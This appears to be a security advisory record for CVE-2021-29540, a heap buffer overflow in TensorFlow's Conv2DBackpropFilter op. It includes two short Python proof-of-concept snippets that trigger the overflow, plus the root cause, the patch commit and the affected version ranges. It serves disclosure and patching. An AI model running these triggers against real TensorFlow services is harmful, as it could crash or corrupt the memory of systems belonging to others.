{"id":"GHSA-xgc3-m89p-vr3x","summary":"Heap buffer overflow in `Conv2DBackpropFilter`","details":"### Impact\nAn attacker can cause a heap buffer overflow to occur in `Conv2DBackpropFilter`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([386.078431372549, 386.07843139643234],\n                           shape=[1, 1, 1, 2], dtype=tf.float32)\nfilter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],\n                           dtype=tf.float32)\n  \ntf.raw_ops.Conv2DBackpropFilter(\n  input=input_tensor,\n  filter_sizes=filter_sizes,\n  out_backprop=out_backprop,\n  strides=[1, 66, 49, 1],\n  use_cudnn_on_gpu=True,\n  padding='VALID',\n  explicit_paddings=[],\n  data_format='NHWC',\n  dilations=[1, 1, 1, 1]\n)\n```\n\nAlternatively, passing empty tensors also results in similar behavior: \n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)\nfilter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropFilter(\n  input=input_tensor,\n  filter_sizes=filter_sizes, \n  out_backprop=out_backprop,\n  strides=[1, 66, 49, 1], \n  use_cudnn_on_gpu=True,\n  padding='VALID',\n  explicit_paddings=[],\n  data_format='NHWC',\n  dilations=[1, 1, 1, 1]\n)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in `filter_sizes`. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.\n\n### Patches \nWe have patched the issue in GitHub commit [c570e2ecfc822941335ad48f6e10df4e21f11c96](https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","aliases":["BIT-tensorflow-2021-29540","CVE-2021-29540","PYSEC-2021-177","PYSEC-2021-468","PYSEC-2021-666"],"modified":"2026-05-07T05:00:41.947470281Z","published":"2021-05-21T14:23:09Z","database_specific":{"nvd_published_at":"2021-05-14T20:15:00Z","cwe_ids":["CWE-120","CWE-787"],"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2021-05-18T22:05:40Z"},"references":[{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xgc3-m89p-vr3x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-29540"},{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-468.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-666.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-177.yaml"},{"type":"PACKAGE","url":"https://github.com/tensorflow/tensorflow"}],"affected":[{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.1.0","2.1.1","2.1.2","2.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-xgc3-m89p-vr3x/GHSA-xgc3-m89p-vr3x.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}],"versions":["2.2.0","2.2.1","2.2.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-xgc3-m89p-vr3x/GHSA-xgc3-m89p-vr3x.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}],"versions":["2.3.0","2.3.1","2.3.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-xgc3-m89p-vr3x/GHSA-xgc3-m89p-vr3x.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"versions":["2.4.0","2.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-xgc3-m89p-vr3x/GHSA-xgc3-m89p-vr3x.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["1.15.0","2.1.0","2.1.1","2.1.2","2.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-xgc3-m89p-vr3x/GHSA-xgc3-m89p-vr3x.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}],"versions":["2.2.0","2.2.1","2.2.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-xgc3-m89p-vr3x/GHSA-xgc3-m89p-vr3x.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}],"versions":["2.3.0","2.3.1","2.3.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-xgc3-m89p-vr3x/GHSA-xgc3-m89p-vr3x.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"versions":["2.4.0","2.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-xgc3-m89p-vr3x/GHSA-xgc3-m89p-vr3x.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.1.0","2.1.1","2.1.2","2.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blo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